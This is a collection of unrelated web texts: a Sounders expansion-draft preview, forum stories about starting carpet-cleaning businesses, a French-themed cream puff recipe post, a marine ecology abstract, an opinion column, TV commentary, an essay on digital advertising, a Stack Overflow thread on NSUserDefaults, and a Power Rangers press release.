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Which Sounders are most likely to be picked in MLS Expansion Draft?
By Jeremiah Oshan@JeremiahOshan Dec 9, 2014, 11:33am PST
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The Seattle Sounders have lost players in every previous Expansion Draft in which they've participated. Considering they are one of the deepest teams in the league, they seem pretty sure they are going to lose at least one player again. Let's take a closer look at the 13 players from which Orland City and New York City FC have to choose (more Busch faces means higher chance of getting picked):
Jalil Anibaba: There were high hopes when the Sounders picked up the 26-year-old in a trade with the Chicago Fire. Despite logging nearly 1,300 minutes and seeing time at all four backline positions, his season was mostly seen as a disappointment. Athletic, but error prone, Anibaba's best moments were when he was asked to be a stay-at-home right back. Still, the Sounders probably wouldn't mind bringing him back but that upside could be enticing to the expansion teams.
Chances he'll be picked: .
Tristan Bowen: Another player acquired via trade whose relative youth and athleticism made for some high hopes. Alas, he fought injuries and struggled to work his way up the depth cart, playing just 60 minutes. He might be intriguing enough to take a flyer on, and the Sounders might be interested in bringing him back if he makes it through, but his future is very much up in the air.
Kenny Cooper: His three goals and four assists probably understate how useful he was to the Sounders this year, as he was a major reason they were able to win their fourth U.S. Open Cup. But he also made almost $250,000 to play less than 1,000 minutes. He has proven he can score in this league when given minutes and that could be very intriguing to an expansion side.
Chances he'll get picked: .
Leo Gonzalez: Quietly the Sounders' most consistent defender for most of his six seasons here, he had another very good season. But he's also 34 and probably doesn't have too many years left. Sounders would surely love to have him back. Helping that end is there are several younger and higher upside left back options available.
Kevin Parsemain: An interesting case study to be sure. Wowed fans with a couple wonder strikes in preseason, but missed most of the year with a knee injury. Would be a bit shocking if either team took him.
Zach Scott: Coming off his best defensive season and still "just" 34, you might think he'd be an interesting pick for one of these teams. But he's also playing with no cartilage in his knee, is undergoing offseason foot surgery and still undecided if he'll play anywhere next year. The chances of him relocating to the East Coast also seem slim at best.
Chances he'll be picked: He's not getting picked.
Cam Weaver: The local boy wanted one last chance to play for the team he watched as a youth and even played for back in the USL days. He got it. At 31, he's young enough to give it another go next year but after playing only 31 minutes, you've got to assume he's at least considering retirement and finishing that house he keeps Instagramming pictures of.
Michael Azira: Only played about 600 minutes and is 27, but might be one of the more intriguing players on the Sounders roster when it comes to potential expansion picks. He looked solid when given a chance and would be a steady contributor off the bench. He's not going to make MLS Best XI, but expansion teams need players like this.
Josh Ford: Finally managed to stay mostly healthy, but completed a fourth consecutive year without seeing first-team minutes. Coaches and teammates rave about his shot-stopping ability, but it sounds like the team is only interested in bringing him back as a Sounders 2 player. That upside makes him a wild-card here, though.
Aaron Long: If you blinked you may have not even realized this was the only player the Sounders added during the midseason transfer window. He never played and only made the bench a couple times. If he's back, it will almost certainly be with S2.
Chances he'll be picked: Not getting picked.
Jimmy Ockford: The 22-year-old center back played 620 minutes while on loan to the New York Cosmos and scored a couple of goals. Sounders like his athleticism and work rate, but it's totally unclear what the future may hold. He'd basically be an extra SuperDraft pick if either expansion team chose him.
Dylan Remick: There were games when it looked like the 23-year-old left back looked to be a star in the making, using his world-class speed to race up and down the sideline. There were also games when he looked like he didn't belong the field. The truth, as is usually the case, lies somewhere between. Sounders would surely love to bring him back, but it would have been hard to justify using one of their 11 protected spots on him. He's cheap, young and athletic, three things expansion teams love.
Eriq Zavaleta: A couple years ago he was one of the top prospects in the SuperDraft. Two years later, there are still a lot of questions, mainly about what position he'll play. He's got the size to be a center back and he's now logged about 1,300 first-team minutes at the position, so maybe that's more decided than we're giving him credit for. The big question will be what kind of contract he's looking for. He's no longer Generation adidas, so whatever he makes will count against the cap, but convincing him to take closer to half of what he was making might be a tough sell. That said, he's got size, skill and youth. Could be intriguing.
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My landscape construction company was doing very well pre 2008, but all our jobs were due to the crazy housing market in Seattle and people who had loans they maybe should not have had... plenty of budget for full installs - Stone, patios, water features, and laying sod was our bread and butter. 3 truck company doing pretty big ticket jobs.
We now run 2 steam cleaning trucks, 1 window washing truck and are doing very well... hopefully expanding to a 4th truck by next busy season!
I did a job for the mafia, and those guys kept giving me 100 dollar bills right and left ( I need to tell this story sometime) to make a long story short, I considered the cash tip money and the franchise got their check.. I got over 2k in hundred dollar bills... So I started building cash back so I could survive.. a month later the franchise I worked for quit the franchise.. When he quit, my non compete contract was terminated so I quit the next morning.
Back then we bought our own carpet van, and the equipment I owned so I turned all their stuff into them the next morning and quit.
Along the way I built that up to a 12 truck operation and sold out, sold carpet cleaning franchises for a while, moved to California to start a carpet cleaning company, didn't like it so we picked Houston to move to and started up here in 2000, and we love it here. We live in a bay house on Galveston bay on the weekends, but during the week we live in a huge fancy new apt/condo place and our office is here, huge 3 car garage to run the operation out of. I am training a new guy right now so then its gonna be me and 4 trucks running,,,, when I get the fifth one I am gonna step back a little and not run a truck so much.
Now that's taking charge Todd, good man!! Sometimes you just gotta be bold, step back and look at the big picture and do what needs to be done.
I needed time for my family.
I started my first carpet cleaning company when I was 21, I'd been working for a fly- by night company for 2 months and said wow, I have to get away from these guys. Did that for two years and had it off to a good start, but then moved to a different city and started to learn the carpentry trade because I wanted to be a building contractor.
That never really panned out and I ended up taking a really good paying factory job.
Fast forward eight years, now married with two kids, aged 1 and 3. My wife and I came to the crushing realization that our older son had a neurological disorder. As it started to manifest itself more and more, the behaviours became more challenging, our sleep patterns were terrible.. life was stressful and hard to manage. We were making really good money between her professional job and my factory job, up to this point I thought I had it all planned out and we were golden.
The big problem was that my job was shift work, so while I was on nights she was a single mom for two weeks... out of the question at this point.
We looked at our finances and decided we could get by on one income, paying all our bills but not building any wealth.
So I swallowed my pride as male provider and quit my job. Shift work factory job got the axe instead of my wife's better career job. One of the scariest things I have ever done. Gave up pension and benefits and the works.
Now I was at home with the kids and we had time to do be trained in a parent- led therapy for our son. That was a hard year. I had no idea what a hard job staying at home with little kids is!!
The business just continued to grow as I invested all the earnings back into it, and I was continually delighted with how business kept exceeding what I thought it would. It was growing in perfect synch with how much time our family life allowed it. I felt (and feel) truly blessed. Now the kids are both in school and our older son is doing better. I am working nearly full time after three years and finances are looking really good.
Wanted to be my own boss and start my own business. So I gathered up some savings and did some research. Turns out the only business I could afford to open with my limited funds was a carpet cleaning business. So I guess the carpet cleaning business chose me. Lol. Decided to go the franchise route because I had zero carpet cleaning experience, plus the franchise loaned me half the start up costs. Very glad I did. Being your own boss and being financially independent is such a great feeling.
Want to escape the world of IT. It's propped up nicely by many people (salespeople...) as being stable, well paying etc. but I hate it - it is mentally hard on you and I feel like I've aged 10 years in 2. IT is the punching bag of the corporate world. I spent 3 years on my degree staring out of a window or at my laptop and the next 2 at a comfortable, but stressful fast paced job. Not much interesting when going up the ladder as well, mainly into managing other people which is dull or programming which I don't have the mind for. Not to mention the looming reality of automation out to remove as many positions as possible.
I saved some cash, bought the worst porty ever, cleaned it up. stayed up till late reading on here, saved even more cash and bought chems and equipment. I didn't have business cards until 2 weeks ago because I thought nobody would ask for them. My porty broke it's pump after my first week or so and I had to scramble funds for a replacement which was hard. Currently feeding the majority of my earnings back into replacing stuff or buying new things. I'm still on here late at night here reading as much as I can.
I've been at it for almost 2 months now according to my photos and receipts and its fantastic. I'm on my feet, moving around, interacting with people who actually want me to help out.I don't have to report to anyone and deal with red tape. I get less anxiety taking and going to jobs and feel less like a fake every day. I don't let my equipment or my knowledge get to me and do the best I can for my custys.
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Because I started counting all the money my boss was making.
That's a double edged sword, you also have to count all the money he's spending to operate. So many employees see their boss pulling in $150 an hour but don't realize 2/3 of that goes to operate the business.
Girlfriend and I wanted to move back to the hometown. I was offered a job for a former boss and the job fell through after we moved back. I had a little money saved (3000). I lined up a bicycle wholesaler that would sell to me and I spent all my money on new bikes and a few parts. This was 1980. My first shop location was $200 per month. It was a wild ride the first few years. I peaked at just over 1 million in sales in the early 90s. Got divorced and cut way back. bought real estate with any penny I could scrounge up. Semi-Retired at 52. Sold the shop to one of my sons---he is doing very well.
Todd, That is an phenomenal story of courage in the face of adversity!
Electrician for 7 years right out of high school, market collapsed and I had to find another job. Got a job for a national full service cleaning company as an account manager at the Four Seasons, thought there was a market demand for full service commercial cleaning so only lasted two years with them and started my own company.
I had an indescribable sickness! I loved to see dirty carpets come clean.
I bet I've met him. My daughter is 17 and in special education at the high school. I bet they are in the same class.
Then one day the country life got to me I simply had enough and I decided to move to the city. I had just recently got married to the love of my life and she was not the type of person that wanted to live in the country because we lived 45 minutes away from the grocery store and civilization as you can see from the photo we had no neighbors we were pretty isolated from the rest the world and I guess overtime that can get to a person. So we decided to sell it only took five years to find somebody that wanted that kind of a lifestyle and the bank account to afford it .After taking a year off and deciding what to do with myself my wife was working in Real estate and she was needing somebody to clean some of her properties that were for sale.


In French, à table literally means "at the table". Equivalent to "lunch (or dinner) is ready," the phrase, à table!, is used in many French homes to let people know when the meal is ready to be eaten.
The first time I heard of this phrase, I knew I wanted to use it in my home tout de suite. To me, it signifies much more than the meal is ready. It's also about deciding to eat well—to slow down, stop what you're doing and take time to eat (and only eat) at the table. That means no TV, telephones, iPads, toys, books, magazines, eating at the wheel, or on the subway. Eating should be considered a pleasure that commands our full attention as we savor each bite. The French are known for doing this well. They don't eat while on the run. Although traditions may be changing, generally the French are known to enjoy the culinary pleasures of life by taking time to fully enjoy meals at table. This is something most learn from early childhood.
Before I had my son I was guilty of eating meals on the go—a quick breakfast while standing at the kitchen counter, lunch at my desk in my office, a quick snack for dinner or skip it all together, if I wasn't eating out. I used to think I was efficient. Well, there's nothing chic, healthy or lovely about that kind of efficiency. I think many of us in North America have forgotten the pleasure of sitting down at a beautifully set table for at least one meal a day to savor and give meaning to the moment. Now, my priorities and habits are changing. Food and the rituals or rhythms associated with meals at the table are now pleasures I strive to take seriously. A well-set table, for example, can be almost as important as the preparation of food itself. The power of presentation is that it can help us be mindful of what lies ahead, whetting the appetite for a fuller, more enjoyable and meaningful culinary experience.
Modern living can make it challenging to establish rituals around eating, but they are key to our well-being. Rituals can compel us to concentrate and be mindful of the moment, slowing the meal down and promoting satisfaction. They help cultivate good table manners, particularly in children. And, they help us do something we should all strive to do—to treat each meal as something special, a pleasure to take seriously.
Little pumpkin and white chocolate cream puffs are somewhat of a culinary union between France and the U.S. for the celebration of Thanksgiving. These decadent little puffs are filled with a seasonably flavored and delicate sweet cream, and can be served with a small dollop of ice cream for dessert or with a warm cup of tea.
Melt chocolate in large heatproof bowl set over saucepan filled with 1-inch barely simmering water, stirring occasionally, until smooth. Remove from heat and let cool slightly, 2 to 5 minutes. In a mixer, combine melted butter and white chocolate. Add crème fraîche, then pumpkin purée, salt, cinnamon and orange zest and mix until combined. Refrigerate to cool.
Meanwhile, using a stand mixer fitted with a whisk, whip cream on medium-low speed until foamy, about 2 minutes. Increase speed to high and whip until soft peaks form, 1 to 3 minutes. Using a rubber spatula, fold in whipped cream to the pumpkin and white chocolate mixture until no white streaks remain. Refrigerate to cool.
Place pumpkin seeds on a baking sheet lined with parchment paper. In a small saucepan over medium heat, add sugar and stir until light brown and liquefied. Pour over pumpkin seeds and allow to cool to room temperature.
Once caramelized, mix in a food processor until it crushed and a bit like powder, but leave a few larger pieces of caramel and pumpkin seeds.
Combine in a large saucepan milk/water, butter and salt. Bring the mixture to a full boil over medium heat. Add the flour all at once and stir vigorously with a wooden spoon. The mixture will look rough at first but it will suddenly become smooth, at which point you should stir faster. In a few minutes the paste will become dry and not cling to the spoon or the sides of the pan. Do not overcook or over-stir at this point, or the dough will fail to puff. Transfer to a bowl and let cool for 5 min.
Add eggs, one at a time. With a wooden spoon or on low speed with an electric mixer, beat rigorously after each adding each egg, making sure the dough/paste is smooth each time before adding the next egg. The dough should end smooth and shiny.
At this point the dough can be covered and refrigerated for up to 4 hours. I prefer to refrigerate at least an hour or even overnight. You do not need to bring the dough to room temperature before shaping and baking.
Using a pastry bag or small spoon, form dough into approximately 1-inch dollops (balls) on an ungreased cookie sheet. Sprinkle each ball with the croustillant and bake until golden brown, approximately 25-30 minutes. The puffs should be nicely "puffed" up. Watch carefully as oven temperatures may differ. Allow to cool completely.
When cooled, turn each puff over and using a small knife to make a small incision underneath each puff. Using a pastry bag, slightly fill each puff with the pumpkin and chocolate cream.
Thanks Fae. These little pumpkin choux are a bit on the decadent side. 😉 Also, my little one is so happy to hear it when I say "à table", especially at breakfast when he is quite hungry and ready to start the day!
Martine, these are gorgeous :).
Coucou Stèphanie. Gros merci pour ton commentaire et compliment! à bientôt, bises.
These are so beautiful. I love the idea of the French call to dinner and slowing down. These are my philosophies too. I love everything about this post, recipes and photos!
Thanks so much Amanda. I'm glad to know that this post resonated so well with you.
Wow delicious recipe and amazing photography!
Thank you very much! Really happy you like this!
This sounds/looks like heaven my goodness!
Hi Meg, thanks a lot. I'm glad you like this. Thanks for stopping by.
These are beautiful. I couldn't agree with you more about sitting down and slowing down for your meal. I insist on bringing our little family together at the table every night for dinner. It is such a fabulous time to sit and hear about the experiences we all had during the day. And what a perfect way to stay in touch with your children and really listen to them. Our son has learnt so much about communication from sitting at the dinner & breakfast table and expressing his thoughts. I love your post today.
Hi Seana, I also agree with you! Sitting together at mealtimes IS a perfect way to stay in touch with your children and to listen to what's going on in their minds. Although my little one is only two, I use the time à table, to review our (his) day, asking him questions about where he went, what did he see, what is he eating, etc. It's a wonderful time! How wonderful it is that you've already made it a priority to take the pleasure of sitting à table and slowing down, seriously. A great gift to your son! I'm glad you liked this post, thanks for letting me know!
Thanks so much for sharing my recipes with your readers!


Marine environments have suffered from a lack of quantitative methods for delineating areas that are sensitive or vulnerable to particular stresses, natural and anthropogenic. We define sensitivity as the degree to which marine features respond to stresses, which are deviations of environmental conditions beyond the expected range. Vulnerability can then be defined as the probability that a feature will be exposed to a stress to which it is sensitive. Using these definitions, we provide a quantitative methodology for identifying vulnerable marine areas based on valued ecological features, defined as biological or physical features, processes, or structures deemed by humans to have environmental, social, cultural, or economic significance. The vulnerability of the valued ecological features is a function of their sensitivity to particular stresses and their vulnerability to those stresses. We used the methodology to demonstrate how vulnerable marine areas for two groups of endangered whale species (inshore and offshore) could be identified with a predictive habitat model and acoustic stress surfaces. Acoustic stress surfaces were produced for ferry traffic, commercial shipping traffic, potential offshore oil production, and small-boat traffic. The vulnerabilities of the two whale groups to the four stressors considered in this example were relatively similar; however, inshore species were more sensitive to on-shelf, coastal activities such as offshore hydrocarbon production, ferry traffic, and small-boat traffic. Our approach demonstrates how valued features can be associated with stresses and the likelihood of encountering these stresses (vulnerability) in order to identify geographic areas for management and conservation purposes. The method can be applied to any combination of valued ecological features and stressors.


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Whistleblower or whiner?
By Dr. Tar
Joel Clement believes he's been mistreated by the Trump administration. Up until this last July, he was the director of policy analysis for the Interior Department – a position he had held since January 2011. Now he's a senior adviser in the Office on Natural Resource Revenue within the Interior Department. Clement believes that the reassignment was done in retaliation because he used to advocate for policies that addressed the harmful effects of climate change. A week after starting his new job, Clement filed a complaint with the U.S. Office of Special Counsel. He claims that the transfer will "exacerbate the already significant threat to the health and the safety of certain Alaska Native communities." According to NPR's Morning Edition, a number of advocacy groups agree with Mr. Clement.
In a Washington Post opinion piece, the former policy analysis director declared that he is not "an accountant," but instead a "scientist and policy expert" and that the move to an office that mostly "collects royalty checks from fossil fuel companies" is "a colossal waste of taxpayer dollars."
Perhaps Mr. Clement is right. Perhaps his background is a poor match for his new position.
A quick look at Clement's LinkedIn page provides more detail on his work experience before becoming a civil servant. Prior to becoming the director of policy analysis, Clement worked for eight years as a program officer at the Wilburforce Foundation. Charity Navigator states that this is a "Private Grant Making Foundation." The organization's own "Strategic Framework 2025" states that it "funds projects and programs in our priority areas that advance our mission and vision." This means that those working for Clement's previous employer didn't actually do any work in the field. They instead conducted studies, made recommendations, distributed grant money, and reviewed the effectiveness of those allocations.
Given that Mr. Clement's current job title does not include the words "auditor," "manager," or "accountant," but is instead an "adviser" position, one can be reassured that he is not responsible for balancing books or keeping accounts. It appears that he would instead be expected to conduct studies, make recommendations, and review the effectiveness of the department's efforts, which would seem pretty close to what he did before at the Wilburforce Institute. It leads one to wonder whether senior adviser Clement really is an aggrieved individual or an angry advocate who has lost his best platform for injecting climate change policies into the Interior Department.
Dr. Tar is the pseudonym of Barry Foltos, Ph.D. Dr. Tar is a regular contributor to iOTW Report and author of the speculative thriller FairPoint.
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Can Belle & Will Scarlet Last On 'Once Upon a Time'? It's Time To Rewrite 'Beauty And The Beast'
Storybrooke may no longer be frozen, but that doesn't stop big changes from coming to town. The second half of Once Upon A Time Season 4 introduced us to some brand new ideas about the characters we thought we knew so well. We just learned that Snow White and Prince Charming may not have always been the heroes we know them as, and that Emma might have some potential for darkness, but the biggest jaw-dropping moment of the season didn't have anything to do with the Charming family. It was during last week's episode of OUAT when Belle and Will Scarlet kissed, and the only person it may have shocked more than the audience was Rumple, who secretly witnessed his ex smooching the Knave. It looks like Rumbelle might be done for good, and all I have to say is: it's about time.
I have never supported Belle and Rumple's relationship, even though they stood in for a fairytale we all know and love: Beauty and the Beast. Anyone raised on Disney movies knows that Belle and the beast are endgame, but anyone who watched the film as an adult knows why that's not exactly a great thing. The beast is a terrible guy — he's verbally abusive, possessive, and violent. Belle eventually helps "change" the beast (both physically and emotionally), but real life doesn't work that way, which Once Upon a Time all but proved when Rumple traded Belle's trust for his dark magic.
Love and forgiveness can make you do incredible things, but that doesn't mean that it can change someone who is downright evil. I was proud of Belle for standing up for herself and forcing Rumple out of town, as short-lived as his exile proved to be. When I saw her kissing Will at the end of "Unforgiven," I basically applauded. Not necessarily because I thought that Belle was a perfect match for Will (though they do look great together), but because it meant that she had moved on.
Unfortunately, I'm not optimistic about this new relationship, if only because I know that Rumple will eventually get his chance at redemption in the end. That's how Once Upon a Time has always operated, and if they truly allowed Rumple to embrace his villainous nature, I'd be shocked. But until Once Upon a Time decides it's time to reunite Rumbelle, I'm more than happy to watch her mack on Will.
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In psychology, a schema describes a pattern of thought or behavior that organizes categories of information and the relationships among them (source). Schemata are mental concepts that inform us about what to expect from an experience or situation. For example, your self-schema illustrates how you think about yourself and how you act in concordance with your perception of yourself (source). Your schema about public policies determines which political party you more closely associate with, or which laws and regulations you agree with or disagree with and why (source). And your schema about digital advertising encompasses your attitudes, thoughts, and behaviors related to your advertising experience via digital channels.
Like most things in life, our relationship with digital advertising dictates our response to it. The way we think about it, the first thoughts that pop into our head that we associate with it, the visceral reaction we get when we hear news about it…all these things and more contribute to our schema of digital advertising.
Even in a technological setting, or perhaps more so in this situation, our mindset matters. Because technology is a tool, our mindset contributes to how successfully we believe we can use the tool – or how effective the tool is at impacting us. Digital advertisers use tools to be successful and to reach audience members; they develop strategies around the implementation of these tools. Our mental and emotional relationship with digital advertising is important to reflect upon and understand, because it will affect our views of it as well as our reception to the technology used to complement it. Our attitude towards it, our relationship with it, and our response to it are dictated by our view of its role in our lives.
In order to understand its role, we can first personify it. Similar to the way marketers create a persona for their target customer base, we can create one here. How would you personify digital advertising? Is it a friend? Or an intruder? Would its career be in service, helping people live better lives? Or would it be a peripheral role that is more "nice to have" than crucial to the underpinnings of a healthy society? Does it embody a modern, cutting edge approach, or does it represent a passing fad? Understanding how you characterize digital advertising will help you in your analysis of its direction, trends, and gaps.
If you see digital advertising as something that perforates every aspect of life and should not be ignored, you will respond differently to news stories than someone who believes it is a fad that will fizzle away with time. Recognizing the meaning behind your relationship with digital advertising will reveal your stance and predict your reactions to future developments.
Understanding your feelings about digital advertising will also help you determine whether you want or need to learn more about it in order to more fully form an opinion rooted in truth. In other words, there is always something to be said about facts, though people are more likely to believe a fact that aligns with their preconceived notions about something. For example, eMarketer forecasts that US ad spending will grow 6.6% in 2018, reaching $220.96 billion (source). Does this statistic make you hopeful or worried? Display ads placed on your mobile devices will account for a large percentage of the advertisements you see and are a huge part of companies' marketing strategies. Companies with extensive research and analytics resources would not be placing so much budget behind digital advertising if it were not expected to deliver favorable results. The reason companies' expenditure on digital ads is growing is that people are responding to them – it's as simple as that. Would you put the majority of your marketing budget behind an initiative that held more risk than reward? You may put a small percentage toward it to test it, but not upwards of 70% of your budget. Instead, wouldn't you allocate your budget in favor of a channel that yielded positive results year over year? In a word, yes. The financial implications of the digital advertising industry explain why so many brands are spending more and more money on display ads in particular: They work.
At this point, you may be skeptical. You may be thinking, "They might work, but not on me." But maybe they actually are working on you without your even realizing it. Non-intrusive advertising or native advertising may be registering in your subconscious as you peruse the internet, impacting your opinions or behaviors without your conscious knowledge or effort. Or, even more likely, maybe you simply haven't been shown the right ads, so you perceive the advertising experience as more of a nuisance than anything else, which is entirely understandable. Depending on how steadfast you are in your beliefs, programmatic advertising may be able to change your mind.
One of the many powers of an effective programmatic advertising solution is that it is valuable to the recipient of the ad as well as the company deploying it. If the technology is powerful enough and the data is reliable enough, digital ads delivered programmatically should reach people who want to see them. The company deploying that ad would be happy that the impression was not wasted and that their budget went to good use; similarly, the recipient of the ad might actually be interested in the content or company behind the ad and be happy they saw that advertisement as opposed to one without much relevance. In this instance, the advertising experience is a positive one, and enough positive experiences can change resistors' viewpoints drastically.
An effective programmatic advertising solution can do this – reach the people who want to be reached – at scale, and they can do it without violating privacy laws. This is especially advantageous in the B2B world, which often faces more hurdles than B2C concerning the content of ads or how to target individuals at businesses while adhering to their personal privacy. It is important to note that this is not impossible: There are ways to ethically manage advertising campaigns and target business influencers at scale without violating privacy laws. Some programmatic advertising technologies can target the right people at the right businesses with relevant ads at scale, creating a positive experience for the recipient of those ads as well as the company deploying them. That should be our collective aspiration – narrow targeting, large scale, minimized wasted spend, personal privacy, and content relevance. In this day and age, that vision is not so far-fetched; in fact, it is well within reach, if we use the right technological tools to get there. On the advertising side, we just have to be creative and bold enough to create the technology that can achieve such favorable results; and if we're not there yet, we should keep working toward that ideal and reshaping the future of digital advertising to grow into something that benefits all parties involved.
If we can change our mindset, we can change our response as well as the outcome. Perhaps we should consider digital advertising objectively based on financial logic or the scientific placement of ads, or maybe we should approach it warmly like an old friend, listening to its newest improvements and supporting its positive growth. Maybe we should give it the benefit of the doubt, knowing that companies who deploy their ads programmatically have a better chance of giving us advertisements that are relevant to us. Some people may think about advertising pessimistically, but they are not the majority; better yet, we have the opportunity to change our minds and think about it optimistically, which could therefore carve out a better future for ourselves. As consumers, we should want to see ads that are relevant to us, especially if it can be done without our privacy being compromised (which it can). Our perception of advertising will dictate the future of the industry, since companies are paying attention and tweaking their offering based on what we need. As advertisers, we should want to minimize wasted spend by delivering ads to quality leads by understanding them and analyzing our ability to reach them through our technologies. We should be listening to what consumers want and tailoring our approach based on what they will respond to – which is founded in both what they need in that moment and their general feelings about advertising. A consumer's positive mindset toward advertising can improve ROI on an advertiser's campaign, proving their intrinsic link on the measure of success. By enhancing the advertising experience, we can create a more positive schema for digital advertising among our consumers, improving their psychological and physical reactions to ads and to the industry overall, which will help usher in a more positive future for advertisers and consumers alike.


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Q: Cannot set NSUserDefaults field I have the following code in my initialization (first time) of my app:
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *uid=@"1";
[defaults setObject:uid forKey:@"init_val"];
[defaults synchronize];

Much later in the code (in response to a button press) I check the value using:
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *initVal=[defaults objectForKey:@"init_val"];

initVal is always nil. I have checked and init_val is set up exactly the same in my settings bundle as another field that I can set and read from without issue (they are both set up with a single field named "Key".

A: @mlewis54:
You can try this code. I am very sure that it will work for you.
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *uid=@"1";
[defaults setObject:uid forKey:@"init_val"];
[defaults synchronize];

For Retrieving Data You Should Use The Following Code :
NSString *initVal=[[NSUserDefaults standardUserDefaults] valueForKey:@"init_val"];

OR
NSString *initVal=[[NSUserDefaults standardUserDefaults] objectForKey:@"init_val"];

EDIT:
If still it gives nil, then you can use the following code:
NSString *initVal=[NSString stringWithFormat:@"%@",[[NSUserDefaults standardUserDefaults] valueForKey:@"init_val"]];

OR
NSString *initVal=[NSString stringWithFormat:@"%@",[[NSUserDefaults standardUserDefaults] objectForKey:@"init_val"]];

Hope this helps you.

A: You need to use the line
NSString *initVal = [defaults stringForKey:@"init_val"];

- since it's a String you must use stringForKey. You can similarly use boolForKey to get a boolean value.

A: Decelare this at an event on click of button ...
NSUserDefaults *savedData = [NSUserDefaults standardUserDefaults];
[savedData setObject:userEmailTextField.text forKey:@"userid"];

and on load load the data and check the value you have entered is showing or not...
userEmailTextField.text =[[NSUserDefaults standardUserDefaults]objectForKey:@"userid"];

A: There's nothing wrong in your code, i tried to copy it in my project and it worked good,
so your error could be probably when you check initVal...
what's the code you use to see if initVal is nil?
and are you sure that when/where you check initVal, that var/oblect is still visible ?
try to insert this immediately after your reading code:
NSLog(@"____text read in pref: %@", initVal);

it writes this in my console window -> __text read in pref: 1
of course it's an NSString, i hope you keep it in mind it's not an int or a NSNumber when you check it...
luca

A: Are you sure you properly initialize NSUserDefaults?  When I initialize, in my app delegate, I always create the default user defaults by creating a dictionary of the default values then:
[[NSUserDefaults standardUserDefaults] registerDefaults:appDefaults];

Where appDefaults is the dictionary.  Then you should be able to access them correctly.

A: It might be that the initialisation isn't happening. Put an NSLog in there to check it's executed.

A: It works fine for me with the same code:
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *uid=@"1";
[defaults setObject:uid forKey:@"init_val"];
[defaults synchronize];

NSUserDefaults *defaultss = [NSUserDefaults standardUserDefaults];
NSString *initVal=[defaultss objectForKey:@"init_val"];
NSLog(@"Value of initVal: %@",initVal);

O/P on console: Value of initVal: 1
So try to do it with the same code with print on console.

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Power Rangers 2013 Toy Fair Licensing Summary
Saban Brands Celebrates 20 Years of Power Rangers at American International Toy Fair 2013
NEW YORK, Feb. 7, 2013 -- Saban Brands and its licensing partners will showcase a playful assortment of Power Rangers inspired toys next week during the American International Toy Fair, Feb. 10-13 at the Jacob K. Javits Convention Center in New York. There will be a variety of action figures, plush, board games, consumer electronics and more to celebrate the 20th Anniversary of the iconic franchise. New Power Rangers Megaforce products will be on display for the all-new season now airing on Nickelodeon, as well as some items inspired by the original Mighty Morphin Power Rangers series to commemorate the 20th anniversary year. All products are expected to hit shelves throughout the year.
"We are thrilled to be showcasing a new array of Power Rangers products from various licensees at Toy Fair," said Elie Dekel, President of Saban Brands. "Power Rangers is the longest running boys action series in television history, so it's clear why we have such a high demand for Power Rangers toys. We currently have over 190 licensee partners worldwide helping to continue making the Power Rangers a MEGA-force in consumer products."
Saban Brands' licensee partners exhibiting Power Ranger products at the American International Toy Fair include:
Bandai America Incorporated (booth #1919): Bandai will be featuring a variety of Power Rangers Megaforce role play action figures and Zord builder toys including the new Deluxe Gosei Morpher and Deluxe Gosei Great Megazord.
Basic Fun (booth #1751): Basic Fun allows fans to take the Power Rangers with them wherever they go with Power Rangers key chains.
Bluefin Distribution (booth #4833): Bluefin Distribution will be showing its Mighty Morphin Power Rangers 20th Anniversary collectibles, imported from Bandai Japan's premium collectors brand Tamashii Nations.
BrainStorm Products, LLC (booth #5083): Fly high with BrainStorm Products' Power Rangers Megaforce kites on display.
The Bridge Direct (booth #4B2): The Bridge Direct will be showcasing a variety of Power Rangers Megaforce plush items, ranging from 3" Mini Collectibles to the 15" Battle Buddies which include Megaforce phrases and battle sound effects.
Cardinal Industries, Inc. (booth # 2507): Cardinal Industries, Inc. is making the Power Rangers a part of family game night with various Power Rangers puzzles and a Mega version of everyone's favorite card game, Uno.
CDI (JAKKS Pacific) (booth # 1041): CDI will unveil its Giant Size 31" Megaforce Red Power Ranger.
Funko Inc. (booth #4805): Mighty Morphin Power Rangers POP! Vinyl Figures are at the Funko booth, available in Pink, Red and White Rangers.
Jada Toys, Inc. (private meeting room, 2D16, by appointment only): Jada Toys will be unveiling radio control vehicles including the Megaforce Mega Flip R/C and the Megaforce Dragon Zord Cycle R/C.
Jazwares (booth # 4820): Jazwares will be featuring Power Rangers inspired electronics, including Megaforce Walkie Talkies.
MEGA Brands, Inc. (booth #751): MEGA Brands' new items will allow fans to fight evil and build their favorite Megazords and Zords with the new Robo Knight Lion Zord and Gosei Great Megazord.
Pressman Toy Corporation (booth #1703): Pressman will have new games on display, including the Power Rangers Samuraizer Switch Game and Power Rangers Pop N Race.
Tech 4 Kids (booth #3151): Tech 4 Kids has new items for fun in the dark, including the Megaforce Project-A-Lite, Glo-vision glasses and the Grab'N Glow night light/flashlight combo.
Trends International, LLC (booth #2367): Power Rangers Megaforce posters will be on display at the Trends International booth.
USAopoly (booth #457): USAopoly will give you the first look of the upcoming Monopoly and Trivial Pursuit Power Rangers 20th Anniversary Editions.
About Saban's Power Rangers
Saban's Power Rangers franchise is the brainchild of Haim Saban, creator and producer of the original Mighty Morphin Power Rangers hit series that launched in 1993. Following its introduction, Power Rangers quickly became the most-watched children's television program in the United States and remains the No.1 live-action kids series on television. The series follows the adventures of a group of ordinary young people who "morph" into superheroes and save the world from evil. It is seen in more than 150 markets around the world, translated into numerous languages, and is a mainstay in the most prominent international children's programming blocks. The Power Rangers franchise is celebrating its 20th Anniversary throughout 2013, which started with the launch of its newest season Power Rangers Megaforce on Nickelodeon and other broadcasters worldwide. Power Rangers LLC, which licenses and merchandises the Power Rangers brand, is an affiliate of Saban Brands. For more information, visit http://www.powerrangers.com.
About Saban Brands
Formed in 2010 as an affiliate of Saban Capital Group, Saban Brands (SB) was established to acquire and develop a world-class portfolio of properties and capitalize on the company's experience, track record and capabilities in growing and monetizing consumer brands through content, media and marketing. SB applies a strategic transmedia management approach to enhancing and extending its brands in markets worldwide and to consumers of all ages. The company provides full-service management, marketing, promotion and strategic business development for its intellectual properties including comprehensive strategies unique to each brand, trademark and copyright management and enforcement, creative design, retail development, direct-to-consumer initiatives and specialized property extensions. SB is led by a superior management team with decades of experience in media, content creation, branding, licensing, marketing and finance. For more information, visit http://www.sabanbrands.com.
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Philips told The Washington Post in an interview he had felt threatened by the teens as they swarmed around him but continued singing - a song of unity - and thinking of his wife who died of cancer four years ago and challenges faced by indigenous communities around the world.
